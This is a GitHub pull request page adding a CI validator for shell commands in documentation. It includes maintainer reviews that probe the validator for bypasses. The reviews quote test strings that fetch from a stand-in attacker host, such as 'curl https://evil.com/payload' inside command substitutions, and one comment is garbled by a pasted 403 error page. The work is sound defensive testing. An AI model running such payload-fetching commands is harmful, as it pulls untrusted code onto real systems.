Repository navigation
feat: validate documented shell commands and env vars in CI (#186) - #210
truthixify merged 9 commits into
Conversation
…rotocol#186) Add scripts/check-shell-commands.mjs — parses every bash/sh/shell fence in shipped MDX pages and validates: 1. Executable names are in an explicit KNOWN_TOOLS allowlist. 2. Flags are well-formed (--flag, -f, --flag=val) against per-tool flag sets defined in TOOL_FLAGS. 3. Env-var assignments use UPPER_SNAKE_CASE names drawn from a documented KNOWN_ENV_VARS set. 4. Local file/directory arguments that start with a shipped directory prefix (guides/, scripts/, reference/, etc.) exist on disk. 5. Network/destructive commands (curl, stellar, soroban, git clone, docker, anchor, etc.) must match an explicit NETWORK_ALLOWLIST of regex patterns; anything else is rejected. Multi-line shell constructs are handled correctly: - Backslash-continued lines are joined into a single logical line. - Multi-line single- or double-quoted strings (e.g. curl -d '{ ... }', node -e "...") are joined across physical lines via a quote-aware logical-line builder. - Bare filenames (e.g. submit.js, sign.js) are excluded from local path checks since they are cross-repo illustrative examples. - The contracts/ directory is excluded from local path checks because the contracts source tree lives in a separate repository. Escape hatch: add 'no-check' to a fence info string to skip the entire fence, or append '# no-check' to a single line within a fence. Add scripts/check-shell-commands.test.mjs — 64 node:test unit tests covering buildLogicalLines, tokenise, validateFlags, looksLikeLocalPath, validateFence, and spot-checks of KNOWN_TOOLS, KNOWN_ENV_VARS, and NETWORK_ALLOWLIST. Wire into CI: add 'Check shell commands' and 'Test shell command checks' steps to the existing check-snippets job in snippets.yml so the checker runs on every PR and push to develop/main. Also add check:shell-commands to the top-level 'test' script in package.json.
|
@biafra877-web Great news! 🎉 Based on an automated assessment of this PR, the linked Wave issue(s) no longer count against your application limits. You can now already apply to more issues while waiting for a review of this PR. Keep up the great work! 🚀 |
…l#197) - Add mint-validation job to snippets.yml that runs on every PR and push to develop/main; installs deps then runs mint:validate (fails on invalid Mint navigation/config) and test:preview-redirect (redirect regression tests) in sequence. - Refactor check-preview-redirect.mjs: extract validatePreviewRedirect as an exported pure function so the logic is unit-testable without a live Mintlify preview URL; CLI entry-point behaviour is unchanged. - Add check-preview-redirect.test.mjs: 8 pure-function tests covering all pass/fail branches, plus 8 HTTP-integration tests driven by fixtures (spins up a real http.createServer per case, no network required). - Add scripts/fixtures/preview-redirect.json: focused fixtures for all redirect scenarios (301/302/308 happy paths, 200, 404, missing Location, wrong destination, self-redirect). - Pin mintlify@4.2.1082 as a devDependency so mint:validate resolves the local binary after pnpm install; update script invocations accordingly. - Wire test:preview-redirect to node --test on the new test file.
…egistry, mintlify binary)
truthixify
left a comment
truthixify
left a comment
There was a problem hiding this comment.
Blocking: scripts/check-shell-commands.mjs:335-358 validates only the first executable on each logical line, and the environment-assignment branch returns without parsing a following command. Adversarial probes such as echo ok; totally-unknown-tool arg, npm install foo && totally-unknown-tool arg, STELLAR_NETWORK=testnet totally-unknown-tool arg, and an allowlisted curl piped to an unknown tool all return zero errors. This leaves common documented shell forms outside the promised validation. Parse and validate every command segment, or explicitly reject unsupported operators/forms, and add regression tests for semicolons, &&, pipelines, and assignment-prefixed commands.
…ions - Add splitCommandSegments() to split on unquoted ;, &&, ||, | before validating, so every segment is checked independently - Replace the early-return envMatch branch with a while loop that consumes all leading VAR=value prefixes then falls through to validate the following command (fixes STELLAR_NETWORK=testnet unknown-tool) - Handle $(…) and backtick command-substitution values in env assignments - Export splitCommandSegments for unit tests Regression tests added for: - echo ok; totally-unknown-tool arg (semicolon) - npm install foo && totally-unknown-tool arg (&&) - curl … | totally-unknown-tool (pipeline after allowlisted cmd) - STELLAR_NETWORK=testnet totally-unknown-tool (assignment-prefixed command) - combined semicolon + env-var prefix forms All 85 tests pass; full MDX scan reports 0 errors.
@truthixify I have addressed it, please review |
truthixify
left a comment
truthixify
left a comment
There was a problem hiding this comment.
The compound-command fix works for top-level semicolon/pipe/and-or segments, but the checker still accepts arbitrary executables inside command substitutions. At scripts/check-shell-commands.mjs:355-382, assignment values are consumed and command substitutions are explicitly skipped; both SIGNED_XDR=$(totally-unknown-tool --steal) and echo $(totally-unknown-tool --steal) return zero validation errors. That contradicts the stated invariant that executable names in every shell fence are allowlisted. Recursively validate command substitutions (including backticks) and add regression tests for both assignment and argument positions.
…tutions
Closes the gap reported by the maintainer: executable names inside
$(...) and `...` were never checked against KNOWN_TOOLS, allowing
arbitrary tools to slip through in both assignment-value and
argument positions.
Changes:
- Add extractCommandSubstitutions() — depth-aware extractor for $(...)
and backtick bodies, including nested substitutions.
- Add validateCommandSubstitutions() — validates the executable of each
extracted body against KNOWN_TOOLS; error messages call out
'inside command substitution' for clarity.
- Wire both call sites in validateFence:
• assignment value: called after matching VAR=$(...) / VAR=`...`
• remaining $(...)/`...` segment: called before the early continue
• argument position: called on the full remaining string after the
outer executable passes the allowlist check
- Export both new functions for unit testing.
- Add 23 regression tests covering: unit tests for the new helpers,
and validateFence integration tests for both the assignment-position
and argument-position gaps.
@truthixify It's done. Please review |
truthixify
left a comment
truthixify
left a comment
There was a problem hiding this comment.
Command substitutions still bypass the network/destructive allowlist. On this exact head, returns no errors for
<title>403 Forbidden</title>403 Forbidden
openresty/1.31.1.1 , , and the backtick equivalent. at checks only whether the first executable name is known; it does not apply the normal segment validation for network allowlists, flags, or paths. Recursively validate substitution bodies through the same full command pipeline and add regression tests for arbitrary-domain curl/wget and compound commands inside both substitution syntaxes.
truthixify
left a comment
truthixify
left a comment
There was a problem hiding this comment.
Command substitutions still bypass the network/destructive allowlist. On exact head 03715a3, validateFence returns no errors for echo $(curl https://evil.com/payload), SIGNED_XDR=$(curl https://evil.com/payload), and the backtick equivalent. validateCommandSubstitutions at scripts/check-shell-commands.mjs:661 checks only whether the first executable name is known; it does not apply the normal segment validation for network allowlists, flags, or paths. Recursively validate substitution bodies through the same full command pipeline and add regression tests for arbitrary-domain curl/wget and compound commands inside both substitution syntaxes.
…peline Command substitutions bypassed the network/destructive allowlist because validateCommandSubstitutions only checked the executable name against KNOWN_TOOLS. Commands like `curl https://evil.com/payload` inside $(...) or backtick substitutions were silently accepted. Fix: rewrite validateCommandSubstitutions to run the full pipeline on each substitution body — compound-operator splitting, env-var prefix stripping, network allowlist check, flag validation, and local-path validation. Regression tests added for: - echo $(curl https://evil.com/payload) and backtick equivalent - SIGNED_XDR=$(curl https://evil.com/payload) and backtick equivalent - wget to arbitrary domain in both substitution syntaxes - compound commands inside substitutions (pipe and semicolon) - arbitrary domain inside $() after a compound && operator - allowlisted substitutions (friendbot subshell, Wraith API) still pass
truthixify
left a comment
truthixify
left a comment
There was a problem hiding this comment.
Approved exact head 0843a7e after repeating the full remote malware scan. Command substitutions now go through the same executable, network/destructive allowlist, flag, and path validation as top-level commands; the focused regression suite passes 122/122, and every repository check including the rerun playground smoke test is green.
Summary
Closes #186 (Wave 10 carryover from #158). All 107 shell fences across 43 MDX pages are now validated on every
CI run.
What the checker validates
scripts/check-shell-commands.mjs parses every bash/sh/shell fence and checks:
exist on disk
in NETWORK_ALLOWLIST; arbitrary targets are rejected
Key design decisions
node -e "..." scripts) are joined into one logical line before validation
Files changed
default test script
Test results: 64/64 pass, 91 fences checked (16 skipped with no-check), 0 errors